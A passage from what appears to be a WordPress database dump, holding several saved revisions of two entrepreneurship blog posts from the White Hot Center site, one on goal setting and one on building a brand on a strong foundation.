path (commitment) that holds the greatest opportunity for them (and their business) to become greater than they are now.\r\n\r\nMost entrepreneurs are really good at setting goals and achieving them. I know I’m sure good at it. The trouble was, early on in my career, I set the wrong goals. I was more concerned with what I would get from achieving rather than what I would become as a result of achieving.\r\n\r\nI also set the bar low. Heaven help me if I failed to reach a stated lofty goal and have everyone laughing at my foolishness. I played it safe and achieved every safe goal I had set for myself. I was an eager goal achiever more invested in market acceptance than market leadership.\r\n\r\nLet that not be you!\r\n<h2>Your ability to design your bigger future depends on your creative, marvelous mind being in a state of joyous anticipation, rather than in a state of confused apprehension.</h2>\r\nLike a Jedi master, this is an essential first principle every entrepreneur must master early on in the game. Apprehension creates uncertainty, Uncertainty dimishes confidence, and dimished confidence forces you to play it safe, which in turn, dooms you and your business to the slush pile.\r\n\r\nThe price you will pay to achieve any goal will be far easier to pay if the promise of your sacred vision is clear to you and your whole being is deeply committed to the ideal of achieving it.\r\n\r\nBefore setting goals:\r\n\r\n<strong>Point your life (and business) towards a path where the demands are high and far beyond the status quo. Be true to yourself and your vision. Before you set any goal remember to think about what it will make of you rather than what you will get for achieving it.</strong>\r\n\r\n<strong> </strong><em>If you found this post helpful, please subscribe to the blog in the form at the top of the page.</em>', 'Goals are navigational markers not a destination.', 0, '', 'inherit', 'open', 'open', '', '2791-revision-3', '', '', '2014-09-19 10:42:58', '2014-09-19 17:42:58', '', 2791, 'http://www.whitehotcenter.com/2014/09/2791-revision-3/', 0, 'revision', '', 0),
(2797, 2, '2014-09-19 10:45:09', '2014-09-19 17:45:09', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/09/goal-steeting.jpg"><img class="alignnone size-full wp-image-2792" title="Goals are navigational markers not a destination." src="http://whc.fbdev.org/wp-content/uploads/2014/09/goal-steeting.jpg" alt="" width="495" height="357" /></a>\r\n<h1>So much information is now available about goals, goal setting and goal achievement it’s become a cacophony of white noise.</h1>\r\nAs a culture, we place a big premium on metrics–achieving our goals, creating success, making our quota, beating our competitors. The ability to set and achieve goals is a highly valued characteristic particularly in business.\r\n\r\nIf you google “goal setting and achievement”– you’ll discover there are over 3 million search results. Everyone knows you have to set goals to achieve anything!\r\n\r\nDespite the plethora of available information, there’s no point in setting goals if you don’t know where you’re at and you’re not clear about where you’re going. Goals are navigational markers along a continuous progressive path, they’re not a destination.\r\n\r\nWhat I’m suggesting is goal setting is pointless without first knowing what behaviors have brought you to exactly where you are in life and business right now, and in what direction will your vision, dream or desire for something greater take you. Without this insight, your goals will be a fuzzy abstraction.\r\n\r\n<strong>Being on the right path with insight to set the right goals.</strong>\r\n\r\nWhat many early stage entrepreneurs and solo professionals lack and need more than goal setting information is solid insight into the path (commitment) that holds the greatest opportunity for them (and their business) to become greater than they are now.\r\n\r\nMost entrepreneurs are really good at setting goals and achieving them. I know I’m sure good at it. The trouble was, early on in my career, I set the wrong goals. I was more concerned with what I would get from achieving rather than what I would become as a result of achieving.\r\n\r\nI also set the bar low. Heaven help me if I failed to reach a stated lofty goal and have everyone laughing at my foolishness. I played it safe and achieved every safe goal I had set for myself. I was an eager goal achiever more invested in market acceptance than market leadership.\r\n\r\nLet that not be you!\r\n<h2>Your ability to design your bigger future depends on your creative, marvelous mind being in a state of joyous anticipation, rather than in a state of confused apprehension.</h2>\r\nLike a Jedi master, this is an essential first principle every entrepreneur must master early on in the game. Apprehension creates uncertainty, Uncertainty diminishes confidence, and diminished confidence forces you to play it safe, which in turn, dooms you and your business to the slush pile.\r\n\r\nThe price you will pay to achieve any goal will be far easier to pay if the promise of your sacred vision is clear to you and your whole being is deeply committed to the ideal of achieving it.\r\n\r\nBefore setting goals:\r\n\r\n<strong>Point your life (and business) towards a path where the demands are high and far beyond the status quo. Be true to yourself and your vision. Before you set any goal remember to think about what it will make of you rather than what you will get for achieving it.</strong>\r\n\r\n<strong> </strong><em>If you found this post helpful, please subscribe to the blog in the form at the top of the page.</em>', 'Goals are navigational markers not a destination.', 0, '', 'inherit', 'open', 'open', '', '2791-revision-5', '', '', '2014-09-19 10:45:09', '2014-09-19 17:45:09', '', 2791, 'http://www.whitehotcenter.com/2014/09/2791-revision-5/', 0, 'revision', '', 0),
(2798, 2, '2014-09-19 10:45:17', '2014-09-19 17:45:17', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/09/goal-steeting.jpg"><img class="alignnone size-full wp-image-2792" title="Goals are navigational markers not a destination." src="http://whc.fbdev.org/wp-content/uploads/2014/09/goal-steeting.jpg" alt="" width="495" height="357" /></a>\r\n<h1>So much information is now available about goals, goal setting and goal achievement it’s become a cacophony of white noise.</h1>\r\nAs a culture, we place a big premium on metrics–achieving our goals, creating success, making our quota, beating our competitors. The ability to set and achieve goals is a highly valued characteristic particularly in business.\r\n\r\nIf you google “goal setting and achievement”– you’ll discover there are over 3 million search results. Everyone knows you have to set goals to achieve anything!\r\n\r\nDespite the plethora of available information, there’s no point in setting goals if you don’t know where you’re at and you’re not clear about where you’re going. Goals are navigational markers along a continuous progressive path, they’re not a destination.\r\n\r\nWhat I’m suggesting is goal setting is pointless without first knowing what behaviors have brought you to exactly where you are in life and business right now, and in what direction will your vision, dream or desire for something greater take you. Without this insight, your goals will be a fuzzy abstraction.\r\n\r\n<strong>Being on the right path with insight to set the right goals.</strong>\r\n\r\nWhat many early stage entrepreneurs and solo professionals lack and need more than goal setting information is solid insight into the path (commitment) that holds the greatest opportunity for them (and their business) to become greater than they are now.\r\n\r\nMost entrepreneurs are really good at setting goals and achieving them. I know I’m sure good at it. The trouble was, early on in my career, I set the wrong goals. I was more concerned with what I would get from achieving rather than what I would become as a result of achieving.\r\n\r\nI also set the bar low. Heaven help me if I failed to reach a stated lofty goal and have everyone laughing at my foolishness. I played it safe and achieved every safe goal I had set for myself. I was an eager goal achiever more invested in market acceptance than market leadership.\r\n\r\nLet that not be you!\r\n<h2>Your ability to design your bigger future depends on your creative, marvelous mind being in a state of joyous anticipation, rather than in a state of confused apprehension.</h2>\r\nLike a Jedi master, this is an essential first principle every entrepreneur must master early on in the game. Apprehension creates uncertainty, Uncertainty diminishes confidence, and diminished confidence forces you to play it safe, which in turn, dooms you and your business to the slush pile.\r\n\r\nThe price you will pay to achieve any goal will be far easier to pay if the promise of your sacred vision is clear to you and your whole being is deeply committed to the ideal of achieving it.\r\n\r\nBefore setting goals:\r\n\r\n<strong>Point your life (and business) towards a path where the demands are high and far beyond the status quo. Be true to yourself and your vision. Before you set any goal remember to think about what it will make of you rather than what you will get for achieving it.</strong>\r\n\r\n<strong> </strong><em>If you found this post helpful, please subscribe to the blog in the form at the top of the page.</em>', 'Goals are navigational markers not a destination.', 0, '', 'inherit', 'open', 'open', '', '2791-revision-6', '', '', '2014-09-19 10:45:17', '2014-09-19 17:45:17', '', 2791, 'http://www.whitehotcenter.com/2014/09/2791-revision-6/', 0, 'revision', '', 0),
(2799, 2, '2014-09-19 10:45:27', '2014-09-19 17:45:27', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/09/goal-steeting.jpg"><img class="alignnone size-full wp-image-2792" title="Goals are navigational markers not a destination." src="http://whc.fbdev.org/wp-content/uploads/2014/09/goal-steeting.jpg" alt="" width="495" height="357" /></a>\r\n<h1>So much information is now available about goals, goal setting and goal achievement it’s become a cacophony of white noise.</h1>\r\nAs a culture, we place a big premium on metrics–achieving our goals, creating success, making our quota, beating our competitors. The ability to set and achieve goals is a highly valued characteristic particularly in business.\r\n\r\nIf you google “goal setting and achievement”– you’ll discover there are over 3 million search results. Everyone knows you have to set goals to achieve anything!\r\n\r\nDespite the plethora of available information, there’s no point in setting goals if you don’t know where you’re at and you’re not clear about where you’re going. Goals are navigational markers along a continuous progressive path, they’re not a destination.\r\n\r\nWhat I’m suggesting is goal setting is pointless without first knowing what behaviors have brought you to exactly where you are in life and business right now, and in what direction will your vision, dream or desire for something greater take you. Without this insight, your goals will be a fuzzy abstraction.\r\n\r\n<strong>Being on the right path with insight to set the right goals.</strong>\r\n\r\nWhat many early stage entrepreneurs and solo professionals lack and need more than goal setting information is solid insight into the path (commitment) that holds the greatest opportunity for them (and their business) to become greater than they are now.\r\n\r\nMost entrepreneurs are really good at setting goals and achieving them. I know I’m sure good at it. The trouble was, early on in my career, I set the wrong goals. I was more concerned with what I would get from achieving rather than what I would become as a result of achieving.\r\n\r\nI also set the bar low. Heaven help me if I failed to reach a stated lofty goal and have everyone laughing at my foolishness. I played it safe and achieved every safe goal I had set for myself. I was an eager goal achiever more invested in market acceptance than market leadership.\r\n\r\nLet that not be you!\r\n<h2>Your ability to design your bigger future depends on your creative, marvelous mind being in a state of joyous anticipation, rather than in a state of confused apprehension.</h2>\r\nLike a Jedi master, this is an essential first principle every entrepreneur must master early on in the game. Apprehension creates uncertainty, Uncertainty diminishes confidence, and diminished confidence forces you to play it safe, which in turn, dooms you and your business to the slush pile.\r\n\r\nThe price you will pay to achieve any goal will be far easier to pay if the promise of your sacred vision is clear to you and your whole being is deeply committed to the ideal of achieving it.\r\n\r\nBefore setting goals:\r\n\r\n<strong>Point your life (and business) towards a path where the demands are high and far beyond the status quo. Be true to yourself and your vision. Before you set any goal remember to think about what it will make of you rather than what you will get for achieving it.</strong>\r\n\r\n<strong> </strong><em>If you found this post helpful, please subscribe to the blog in the form at the top of the page.</em>', 'Goals are navigational markers not a destination.', 0, '', 'inherit', 'open', 'open', '', '2791-revision-7', '', '', '2014-09-19 10:45:27', '2014-09-19 17:45:27', '', 2791, 'http://www.whitehotcenter.com/2014/09/2791-revision-7/', 0, 'revision', '', 0),
(2800, 2, '2014-09-19 10:53:49', '2014-09-19 17:53:49', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/09/goal-steeting.jpg"><img class="alignnone size-full wp-image-2792" title="Goals are navigational markers not a destination." src="http://whc.fbdev.org/wp-content/uploads/2014/09/goal-steeting.jpg" alt="" width="495" height="357" /></a>\r\n<h1>So much information is now available about goals, goal setting and goal achievement it’s become a cacophony of white noise.</h1>\r\nAs a culture, we place a big premium on metrics–achieving our goals, creating success, making our quota, beating our competitors. The ability to set and achieve goals is a highly valued characteristic particularly in business.\r\n\r\nIf you google “goal setting and achievement”– you’ll discover there are over 3 million search results. Everyone knows you have to set goals to achieve anything!\r\n\r\nDespite the plethora of available information, there’s no point in setting goals if you don’t know where you’re at and you’re not clear about where you’re going. Goals are navigational markers along a continuous progressive path, they’re not a destination.\r\n\r\nWhat I’m suggesting is goal setting is pointless without first knowing what behaviors have brought you to exactly where you are in life and business right now, and in what direction will your vision, dream or desire for something greater take you. Without this insight, your goals will be a fuzzy abstraction.\r\n\r\n<strong>Being on the right path with insight to set the right goals.</strong>\r\n\r\nWhat many early stage entrepreneurs and solo professionals lack and need more than goal setting information is solid insight into the path (commitment) that holds the greatest opportunity for them (and their business) to become greater than they are now.\r\n\r\nMost entrepreneurs are really good at setting goals and achieving them. I know I’m sure good at it. The trouble was, early on in my career, I set the wrong goals. I was more concerned with what I would get from achieving rather than what I would become as a result of achieving.\r\n\r\nI also set the bar low. Heaven help me if I failed to reach a stated lofty goal and have everyone laughing at my foolishness. I played it safe and achieved every safe goal I had set for myself. I was an eager goal achiever more invested in market acceptance than market leadership.\r\n\r\nLet that not be you!\r\n<h2>Your ability to design your bigger future depends on your creative, marvelous mind being in a state of joyous anticipation, rather than in a state of confused apprehension.</h2>\r\nLike a Jedi master, this is an essential first principle every entrepreneur must master early on in the game. Apprehension creates uncertainty, Uncertainty diminishes confidence, and diminished confidence forces you to play it safe, which in turn, dooms you and your business to the slush pile.\r\n\r\nThe price you will pay to achieve any goal will be far easier to pay if the promise of your sacred vision is clear to you and your whole being is deeply committed to the ideal of achieving it.\r\n\r\nBefore setting goals:\r\n\r\n<strong>Point your life (and business) towards a path where the demands are high and far beyond the status quo. Be true to yourself and your vision. Before you set any goal remember to think about what it will make of you rather than what you will get for achieving it.</strong>\r\n\r\n<strong> </strong><em>If you found this post helpful, please subscribe to the blog in the form at the top of the page.</em>', 'Goals are navigational markers not a destination.', 0, '', 'inherit', 'open', 'open', '', '2791-revision-8', '', '', '2014-09-19 10:53:49', '2014-09-19 17:53:49', '', 2791, 'http://www.whitehotcenter.com/2014/09/2791-revision-8/', 0, 'revision', '', 0),
(2801, 2, '2014-09-23 10:26:43', '2014-09-23 17:26:43', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/09/foundation.jpg"><img class="alignnone size-full wp-image-2802" title="Building your brand on a strong foundation." src="http://whc.fbdev.org/wp-content/uploads/2014/09/foundation.jpg" alt="" width="495" height="306" /></a>\r\n<h1>If you’re going to create a brand that endures, you’ll have to build its value on a solid foundation.</h1>\r\nAsk any architect and they will tell you the most important aspect of building design is not the structure but its foundation. Of course foundations aren’t as glamorous as the stunning design of the architecture itself, but they are critical to supporting not only the weight of the structure, but essential to withstand the constant movement of the earth and the erosion of the soil around it.\r\n\r\nLike any great structure, nothing is more fundamental to the enduring success of your early brand building initiatives than a strong foundation on which your bigger future will rest upon. The foundation you create will determine the stability and sustainability of your brand going forward.\r\n\r\nStrong foundations are the beginning of brand success. If you don’t have a solid foundation for your brand firmly in place, it’ll be next to impossible to withstand the winds of eroding attention spans, clutter, competition and the unpredictable forces of marketplace change.\r\n\r\nWhen entrepreneurs are visioning their future, the first action they must undertake is finding the right soil for building their dream on. Excellent builders start at the ground level…in the dirt building a foundation worthy of their highest ideals and biggest vision!\r\n<h2>Building a strong foundation for your brand is the most important attribute in creating value for others.</h2>\r\nFor entrepreneurs bringing new value to the marketplace, here are a few ideas to consider before you break ground on your next big brand idea:\r\n\r\n<strong>Build your brand’s foundation on good ground.</strong>\r\nDon’t build your castles in the sand is a timeless cliché you’ve heard time and again. It’s also timeless advice many entrepreneurs fail to heed.  In the mad rush to build awareness, trial and purchase, some like to take shortcuts and go right into advertising and promotion. Your brand’s “philosophy” is the “good ground” on which to build. The good ground of your brand’s philosophy will include its purpose, its true north, its values, its character and integrity. Does the philosophy of your brand support the successful design of its future?  Is your brand’s philosophy solid as bedrock or liquid as sand?\r\n\r\n<strong>The brand foundation must fit naturally into the landscape that surrounds it.</strong>\r\nIn architecture it’s called site planning. In business and brand building it’s called strategic planning. Your foundation has to fit naturally and beautifully into the lay of the land otherwise known as the marketplace. How you position your foundation relative to other players in the category landscape is critical in defining your unique value to customers. You must know the lay of the land, your customer’s desires, hopes, aspirations and needs. Where does your brand fit within the mind of the target customer? Who does your brand serve?\r\n\r\n<strong>Strong foundations go deep into the ground.</strong>\r\nIf you have an Empire State Building size vision for your brand, you’ll have to build your foundation deep into the ground. This means you must focus all your creative energy on a deep and narrow value proposition. What is the “one thing” that makes your new brand highly valued and distinctive among all other choices? Develop deep knowledge in the one thing customers love … don’t generalize–specialize! Big ideas require deep and narrow foundations!\r\n\r\n<strong>Strong foundations are well designed and engineered.</strong>\r\nHow your products, services and customer experiences are designed is a critical element in the foundation of your brand building. How you create and deliver value requires smart engineering and elegant design…everything in the customer’s experience of engagement must be well thought out and properly executed. This is foundational to the make-up of extraordinary brands and leading businesses. Design matters and determines competitive advantage. Make your strong and enduring brand foundation beautiful!\r\n\r\n<strong>Strong foundations are made of quality materials.</strong>\r\nIf your brand is to grow and stand the test of time, it must be comprised of the highest quality materials. Build your brand foundation in association with high quality partners, collaborators, employees and suppliers. Brands are created in an ecosystem of diverse talents of people whose passion for excellence and success is equal and greater to your own. A foundation is only as strong as the quality of the materials used. Trusted relationships are what bond enduring brands with those that are the makers and the users.\r\n\r\n<strong>A strong foundation will protect your long term marketing investments.</strong>\r\nIf you’re planning to put something remarkable and extraordinary on top of your foundation, you will need to invest a great deal of time, energy and money. The quality of your foundation must support and protect the marketing investment you make in your brand’s future. Building the early foundations is not as glamorous as creating marketing campaigns. Remember just because most of your foundation is below ground and not seen by your customers, doesn’t mean you can compromise any aspect of its integrity.\r\n\r\n<strong>The lasting value of your brand depends upon creating the foundation right from day one. Persuasion and promotion is far less important than the strategic work of laying a solid foundation on good ground– a foundation that fits naturally into the brandscape, is well designed and comprised of quality material.</strong>\r\n\r\n<em>If you found this post helpful, please subscribe to the White Hot Center</em>', 'Building your brand on a strong foundation.', 0, '', 'publish', 'open', 'open', '', 'building-your-brand-on-a-strong-foundation', '', '', '2014-09-23 10:26:43', '2014-09-23 17:26:43', '', 0, 'http://www.whitehotcenter.com/?p=2801', 0, 'post', '', 2),
(2802, 2, '2014-09-23 10:01:04', '2014-09-23 17:01:04', '', 'Building your brand on a strong foundation.', 0, '', 'inherit', 'open', 'open', '', 'foundation', '', '', '2014-09-23 10:01:04', '2014-09-23 17:01:04', '', 2801, 'http://www.whitehotcenter.com/wp-content/uploads/2014/09/foundation.jpg', 0, 'attachment', 'image/jpeg', 0),
(2803, 2, '2014-09-23 10:04:42', '2014-09-23 17:04:42', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/09/foundation.jpg"><img class="alignnone size-full wp-image-2802" title="Building your brand on a strong foundation." src="http://whc.fbdev.org/wp-content/uploads/2014/09/foundation.jpg" alt="" width="495" height="306" /></a>\n<h1>If you’re going to create a brand that endures, you’ll have to build its value on a solid foundation.</h1>\nAsk any architect and they will tell you the most important aspect of building design is not the structure but its foundation. Of course foundations aren’t as glamorous as the stunning design of the architecture itself, but they are critical to supporting not only the weight of the structure, but essential to withstand the constant movement of the earth and the erosion of the soil around it.\n\nLike any great structure, nothing is more fundamental to the enduring success of your early brand building initiatives than a strong foundation on which your bigger future will rest upon. The foundation you create will determine the stability and sustainability of your brand going forward.\n\nStrong foundations are the beginning of brand success. If you don’t have a solid foundation for your brand firmly in place, it’ll be next to impossible to withstand the winds of eroding attention spans, clutter, competition and the unpredictable forces of marketplace change.\n\nWhen entrepreneurs are visioning their future, the first action they must undertake is finding the right soil for building their dream on. Excellent builders start at the ground level…in the dirt building a foundation worthy of their highest ideals and biggest vision!\n<h2>Building a strong foundation for your brand is the most important attribute in creating value for others.</h2>\nFor entrepreneurs bringing new value to the marketplace, here are a few ideas to consider before you break ground on your next big brand idea:\n\n<strong>Build your brand’s foundation on good ground.</strong>\nDon’t build your castles in the sand is a timeless cliché you’ve heard time and again. It’s also timeless advice many entrepreneurs fail to heed.  In the mad rush to build awareness, trial and purchase, some like to take shortcuts and go right into advertising and promotion. Your brand’s “philosophy” is the “good ground” on which to build. The good ground of your brand’s philosophy will include its purpose, its true north, its values, its character and integrity. Does the philosophy of your brand support the successful design of its future?  Is your brand’s philosophy solid as bedrock or liquid as sand?\n\n<strong>The brand foundation must fit naturally into the landscape that surrounds it.</strong>\nIn architecture it’s called site planning. In business and brand building it’s called strategic planning. Your foundation has to fit naturally and beautifully into the lay of the land otherwise known as the marketplace. How you position your foundation relative to other players in the category landscape is critical in defining your unique value to customers. You must know the lay of the land, your customer’s desires, hopes, aspirations and needs. Where does your brand fit within the mind of the target customer? Who does your brand serve?\n\n<strong>Strong foundations go deep into the ground.</strong>\nIf you have an Empire State Building size vision for your brand, you’ll have to build your foundation deep into the ground. This means you must focus all your creative energy on a deep and narrow value proposition. What is the “one thing” that makes your new brand highly valued and distinctive among all other choices? Develop deep knowledge in the one thing customers love … don’t generalize–specialize! Big ideas require deep and narrow foundations!\n\n<strong>Strong foundations are well designed and engineered.</strong>\nHow your products, services and customer experiences are designed is a critical element in the foundation of your brand building. How you create and deliver value requires smart engineering and elegant design…everything in the customer’s experience of engagement must be well thought out and properly executed. This is foundational to the make-up of extraordinary brands and leading businesses. Design matters and determines competitive advantage. Make your strong and enduring brand foundation beautiful!\n\n<strong>Strong foundations are made of quality materials.</strong>\nIf your brand is to grow and stand the test of time, it must be comprised of the highest quality materials. Build your brand foundation in association with high quality partners, collaborators, employees and suppliers. Brands are created in an ecosystem of diverse talents of people whose passion for excellence and success is equal and greater to your own. A foundation is only as strong as the quality of the materials used. Trusted relationships are what bond enduring brands with those that are the makers and the users.\n\n<strong>A strong foundation will protect your long term marketing investments.</strong>\nIf you’re planning to put something remarkable and extraordinary on top of your foundation, you will need to invest a great deal of time, energy and money. The quality of your foundation must support and protect the marketing investment you make in your brand’s future. Building the early foundations is not as glamorous as creating marketing campaigns. Remember just because most of your foundation is below ground and not seen by your customers, doesn’t mean you can compromise any aspect of its integrity.\n\n<strong>The lasting value of your brand depends upon creating the foundation right from day one. Persuasion and promotion is far less important than the strategic work of laying a solid foundation on good ground– a foundation that fits naturally into the brandscape, is well designed and comprised of quality material.</strong>\n\n<em>If you found this post helpful, please subscribe to the White Hot Center</em>', 'Building your brand on a strong foundation.', 0, '', 'inherit', 'open', 'open', '', '2801-revision', '', '', '2014-09-23 10:04:42', '2014-09-23 17:04:42', '', 2801, 'http://www.whitehotcenter.com/2014/09/2801-revision/', 0, 'revision', '', 0),
(2804, 2, '2014-09-23 10:05:25', '2014-09-23 17:05:25', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/09/foundation.jpg"><img class="alignnone size-full wp-image-2802" title="Building your brand on a strong foundation." src="http://whc.fbdev.org/wp-content/uploads/2014/09/foundation.jpg" alt="" width="495" height="306" /></a>\r\n<h1>If you’re going to create a brand that endures, you’ll have to build its value on a solid foundation.</h1>\r\nAsk any architect and they will tell you the most important aspect of building design is not the structure but its foundation. Of course foundations aren’t as glamorous as the stunning design of the architecture itself, but they are critical to supporting not only the weight of the structure, but essential to withstand the constant movement of the earth and the erosion of the soil around it.\r\n\r\nLike any great structure, nothing is more fundamental to the enduring success of your early brand building initiatives than a strong foundation on which your bigger future will rest upon. The foundation you create will determine the stability and sustainability of your brand going forward.\r\n\r\nStrong foundations are the beginning of brand success. If you don’t have a solid foundation for your brand firmly in place, it’ll be next to impossible to withstand the winds of eroding attention spans, clutter, competition and the unpredictable forces of marketplace change.\r\n\r\nWhen entrepreneurs are visioning their future, the first action they must undertake is finding the right soil for building their dream on. Excellent builders start at the ground level…in the dirt building a foundation worthy of their highest ideals and biggest vision!\r\n<h2>Building a strong foundation for your brand is the most important attribute in creating value for others.</h2>\r\nFor entrepreneurs bringing new value to the marketplace, here are a few ideas to consider before you break ground on your next big brand idea:\r\n\r\n<strong>Build your brand’s foundation on good ground.</strong>\r\nDon’t build your castles in the sand is a timeless cliché you’ve heard time and again. It’s also timeless advice many entrepreneurs fail to heed.  In the mad rush to build awareness, trial and purchase, some like to take shortcuts and go right into advertising and promotion. Your brand’s “philosophy” is the “good ground” on which to build. The good ground of your brand’s philosophy will include its purpose, its true north, its values, its character and integrity. Does the philosophy of your brand support the successful design of its future?  Is your brand’s philosophy solid as bedrock or liquid as sand?\r\n\r\n<strong>The brand foundation must fit naturally into the landscape that surrounds it.</strong>\r\nIn architecture it’s called site planning. In business and brand building it’s called strategic planning. Your foundation has to fit naturally and beautifully into the lay of the land otherwise known as the marketplace. How you position your foundation relative to other players in the category landscape is critical in defining your unique value to customers. You must know the lay of the land, your customer’s desires, hopes, aspirations and needs. Where does your brand fit within the mind of the target customer? Who does your brand serve?\r\n\r\n<strong>Strong foundations go deep into the ground.</strong>\r\nIf you have an Empire State Building size vision for your brand, you’ll have to build your foundation deep into the ground. This means you must focus all your creative energy on a deep and narrow value proposition. What is the “one thing” that makes your new brand highly valued and distinctive among all other choices? Develop deep knowledge in the one thing customers love … don’t generalize–specialize! Big ideas require deep and narrow foundations!\r\n\r\n<strong>Strong foundations are well designed and engineered.</strong>\r\nHow your products, services and customer experiences are designed is a critical element in the foundation of your brand building. How you create and deliver value requires smart engineering and elegant design…everything in the customer’s experience of engagement must be well thought out and properly executed. This is foundational to the make-up of extraordinary brands and leading businesses. Design matters and determines competitive advantage. Make your strong and enduring brand foundation beautiful!\r\n\r\n<strong>Strong foundations are made of quality materials.</strong>\r\nIf your brand is to grow and stand the test of time, it must be comprised of the highest quality materials. Build your brand foundation in association with high quality partners, collaborators, employees and suppliers. Brands are created in an ecosystem of diverse talents of people whose passion for excellence and success is equal and greater to your own. A foundation is only as strong as the quality of the materials used. Trusted relationships are what bond enduring brands with those that are the makers and the users.\r\n\r\n<strong>A strong foundation will protect your long term marketing investments.</strong>\r\nIf you’re planning to put something remarkable and extraordinary on top of your foundation, you will need to invest a great deal of time, energy and money. The quality of your foundation must support and protect the marketing investment you make in your brand’s future. Building the early foundations is not as glamorous as creating marketing campaigns. Remember just because most of your foundation is below ground and not seen by your customers, doesn’t mean you can compromise any aspect of its integrity.\r\n\r\n<strong>The lasting value of your brand depends upon creating the foundation right from day one. Persuasion and promotion is far less important than the strategic work of laying a solid foundation on good ground– a foundation that fits naturally into the brandscape, is well designed and comprised of quality material.</strong>\r\n\r\n<em>If you found this post helpful, please subscribe to the White Hot Center</em>', 'Building your brand on a strong foundation.', 0, '', 'inherit', 'open', 'open', '', '2801-revision-2', '', '', '2014-09-23 10:05:25', '2014-09-23 17:05:25', '', 2801, 'http://www.whitehotcenter.com/2014/09/2801-revision-2/', 0, 'revision', '', 0),
(2805, 2, '2014-09-23 10:05:29', '2014-09-23 17:05:29', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/09/foundation.jpg"><img class="alignnone size-full wp-image-2802" title="Building your brand on a strong foundation." src="http://whc.fbdev.org/wp-content/uploads/2014/09/foundation.jpg" alt="" width="495" height="306" /></a>\r\n<h1>If you’re going to create a brand that endures, you’ll have to build its value on a solid foundation.</h1>\r\nAsk any architect and they will tell you the most important aspect of building design is not the structure but its foundation. Of course foundations aren’t as glamorous as the stunning design of the architecture itself, but they are critical to supporting not only the weight of the structure, but essential to withstand the constant movement of the earth and the erosion of the soil around it.\r\n\r\nLike any great structure, nothing is more fundamental to the enduring success of your early brand building initiatives than a strong foundation on which your bigger future will rest upon. The foundation you create will determine the stability and sustainability of your brand going forward.\r\n\r\nStrong foundations are the beginning of brand success. If you don’t have a solid foundation for your brand firmly in place, it’ll be next to impossible to withstand the winds of eroding attention spans, clutter, competition and the unpredictable forces of marketplace change.\r\n\r\nWhen entrepreneurs are visioning their future, the first action they must undertake is finding the right soil for building their dream on. Excellent builders start at the ground level…in the dirt building a foundation worthy of their highest ideals and biggest vision!\r\n<h2>Building a strong foundation for your brand is the most important attribute in creating value for others.</h2>\r\nFor entrepreneurs bringing new value to the marketplace, here are a few ideas to consider before you break ground on your next big brand idea:\r\n\r\n<strong>Build your brand’s foundation on good ground.</strong>\r\nDon’t build your castles in the sand is a timeless cliché you’ve heard time and again. It’s also timeless advice many entrepreneurs fail to heed.  In the mad rush to build awareness, trial and purchase, some like to take shortcuts and go right into advertising and promotion. Your brand’s “philosophy” is the “good ground” on which to build. The good ground of your brand’s philosophy will include its purpose, its true north, its values, its character and integrity. Does the philosophy of your brand support the successful design of its future?  Is your brand’s philosophy solid as bedrock or liquid as sand?\r\n\r\n<strong>The brand foundation must fit naturally into the landscape that surrounds it.</strong>\r\nIn architecture it’s called site planning. In business and brand building it’s called strategic planning. Your foundation has to fit naturally and beautifully into the lay of the land otherwise known as the marketplace. How you position your foundation relative to other players in the category landscape is critical in defining your unique value to customers. You must know the lay of the land, your customer’s desires, hopes, aspirations and needs. Where does your brand fit within the mind of the target customer? Who does your brand serve?\r\n\r\n<strong>Strong foundations go deep into the ground.</strong>\r\nIf you have an Empire State Building size vision for your brand, you’ll have to build your foundation deep into the ground. This means you must focus all your creative energy on a deep and narrow value proposition. What is the “one thing” that makes your new brand highly valued and distinctive among all other choices? Develop deep knowledge in the one thing customers love … don’t generalize–specialize! Big ideas require deep and narrow foundations!\r\n\r\n<strong>Strong foundations are well designed and engineered.</strong>\r\nHow your products, services and customer experiences are designed is a critical element in the foundation of your brand building. How you create and deliver value requires smart engineering and elegant design…everything in the customer’s experience of engagement must be well thought out and properly executed. This is foundational to the make-up of extraordinary brands and leading businesses. Design matters and determines competitive advantage. Make your strong and enduring brand foundation beautiful!\r\n\r\n<strong>Strong foundations are made of quality materials.</strong>\r\nIf your brand is to grow and stand the test of time, it must be comprised of the highest quality materials. Build your brand foundation in association with high quality partners, collaborators, employees and suppliers. Brands are created in an ecosystem of diverse talents of people whose passion for excellence and success is equal and greater to your own. A foundation is only as strong as the quality of the materials used. Trusted relationships are what bond enduring brands with those that are the makers and the users.\r\n\r\n<strong>A strong foundation will protect your long term marketing investments.</strong>\r\nIf you’re planning to put something remarkable and extraordinary on top of your foundation, you will need to invest a great deal of time, energy and money. The quality of your foundation must support and protect the marketing investment you make in your brand’s future. Building the early foundations is not as glamorous as creating marketing campaigns. Remember just because most of your foundation is below ground and not seen by your customers, doesn’t mean you can compromise any aspect of its integrity.\r\n\r\n<strong>The lasting value of your brand depends upon creating the foundation right from day one. Persuasion and promotion is far less important than the strategic work of laying a solid foundation on good ground– a foundation that fits naturally into the brandscape, is well designed and comprised of quality material.</strong>\r\n\r\n<em>If you found this post helpful, please subscribe to the White Hot Center</em>', 'Building your brand on a strong foundation.', 0, '', 'inherit', 'open', 'open', '', '2801-revision-3', '', '', '2014-09-23 10:05:29', '2014-09-23 17:05:29', '', 2801, 'http://www.whitehotcenter.com/2014/09/2801-revision-3/', 0, 'revision', '', 0);
